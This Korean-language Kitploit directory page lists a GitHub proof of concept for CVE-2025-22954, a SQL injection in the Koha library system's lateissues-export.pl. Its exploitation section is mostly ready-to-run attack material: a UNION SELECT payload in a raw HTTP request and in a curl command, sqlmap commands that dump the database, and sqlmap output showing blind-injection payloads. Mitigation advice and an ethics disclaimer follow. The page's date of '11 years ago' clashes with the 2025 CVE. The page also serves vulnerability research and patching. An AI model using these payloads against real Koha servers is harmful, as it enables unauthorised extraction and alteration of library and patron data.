Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-22954 — Koha CVE-2025-22954: lateissues-export.pl의 SQL 인젝션 | Kitploit
도구/GitHubGitHub/randomrobbiebf/cve-2025-22954
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubrandomrobbiebf/cve-2025-22954

CVE-2025-22954

Koha CVE-2025-22954: lateissues-export.pl의 SQL 인젝션

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Koha CVE-2025-22954: lateissues-export.pl의 SQL 인젝션

개요

이 저장소는 CVE-2025-22954에 대한 개념 증명을 포함하고 있습니다. 이는 Koha 24.11.02 이전 버전에서 발생하는 심각도가 높은(CVSS 10.0) SQL 인젝션 취약점입니다. 취약점은 /serials/lateissues-export.pl 스크립트에 의해 호출되는 C4/Serials.pm의 GetLateOrMissingIssues 함수에 존재합니다. supplierid 또는 serialid 매개변수를 통해 악용될 수 있습니다.

CVE IDCVE-2025-22954
CVSS v310.0 (심각)
EPSS 점수0.03% (상위 5.26%)
공개일2025년 3월 12일
수정 버전Koha 24.11.02
버그 참조Koha 버그 #38829
릴리즈 노트Koha 24.11.02 릴리스

취약점 상세

이 취약점은 lateissues-export.pl 스크립트의 supplierid 및 serialid 매개변수에서 사용자 입력을 안전하지 않게 처리하는 데서 비롯되며, 이 값은 C4/Serials.pm의 GetLateOrMissingIssues 함수로 전달됩니다. 해당 함수는 SQL 쿼리에서 이러한 입력값을 적절히 삭제하거나 매개변수화하지 않아 SQL 인젝션 공격을 허용합니다.

영향을 받는 코드

취약한 스크립트(lateissues-export.pl)에는 다음 코드가 포함되어 있습니다:

root@kitploit:~
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');

# ...

for my $serialid ( @serialids ) {
    my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
    # ...
    
    # update claim date to let one know they have looked at this missing item
    updateClaim($serialid);
}

C4/Serials.pm의 GetLateOrMissingIssues 함수는 $supplierid 및 $serialid 매개변수를 적절한 매개변수화 없이 SQL 문에 직접 연결하는 취약한 SQL 쿼리 구성을 포함하고 있을 가능성이 높습니다.

개념 증명

이 개념 증명은 연속물 모듈에 접근 권한이 있는 인증된 사용자가 이 취약점을 악용하여 Koha 데이터베이스에서 민감한 데이터를 추출하거나 기본 데이터베이스 시스템에 대한 무단 액세스를 얻을 수 있는 방법을 보여줍니다.

사전 요구사항

  • 취약한 Koha 인스턴스(24.11.02 이전)
  • lateissues-export.pl 스크립트에 대한 접근 권한

악용 방법

HTTP 요청 방식

다음 원시 HTTP 요청을 사용하여 취약점을 악용할 수 있습니다:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

curl 사용

root@kitploit:~
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" 

SQLMap 사용

SQLMap을 사용하여 이 취약점의 악용을 자동화할 수 있습니다. 먼저 유효한 인증 쿠키와 함께 취약한 엔드포인트에 대한 요청을 캡처한 후, SQLMap을 사용하여 인젝션 포인트를 악용합니다.

root@kitploit:~
# 유효한 쿠키가 포함된 요청을 request.txt에 저장
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 

예시 request.txt 파일:

root@kitploit:~
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

SQLMap으로 직접 취약점을 악용할 수도 있습니다:

root@kitploit:~
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
  -p supplierid \
  --dbms=mysql \
  --dump
root@kitploit:~
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:

영향

이 취약점을 통해 인증된 공격자는 다음을 수행할 수 있습니다:

  1. 데이터베이스에서 민감한 정보 추출
  2. 데이터베이스의 데이터 수정
  3. 데이터베이스 서버에서 임의 명령 실행 가능
  4. 기본 운영 체제에 대한 액세스 권한 획득 가능

완화 방법

이 취약점에 대한 수정이 포함된 Koha 24.11.02 이상 버전으로 업데이트하십시오.

즉시 업데이트가 불가능한 경우 다음 임시 완화 조치를 고려하십시오:

  1. /serials/lateissues-export.pl 스크립트에 대한 접근을 신뢰할 수 있는 IP 주소로만 제한
  2. 웹 애플리케이션 방화벽(WAF) 규칙을 구현하여 이 엔드포인트에 대한 잠재적으로 악의적인 요청 차단
  3. C4/Serials.pm 파일을 수정하여 GetLateOrMissingIssues 함수의 SQL 쿼리를 적절히 매개변수화

윤리적 고려 사항

이 개념 증명은 교육 및 방어 목적으로만 제공됩니다. 시스템에 대한 취약점 테스트를 수행하기 전에 항상 적절한 승인을 받으십시오.

면책 조항

저자는 이 정보의 오용에 대해 책임을 지지 않습니다. 이 개념 증명은 귀하가 소유하거나 테스트할 명시적 권한이 있는 시스템에서만 사용해야 합니다.

도구 다운로드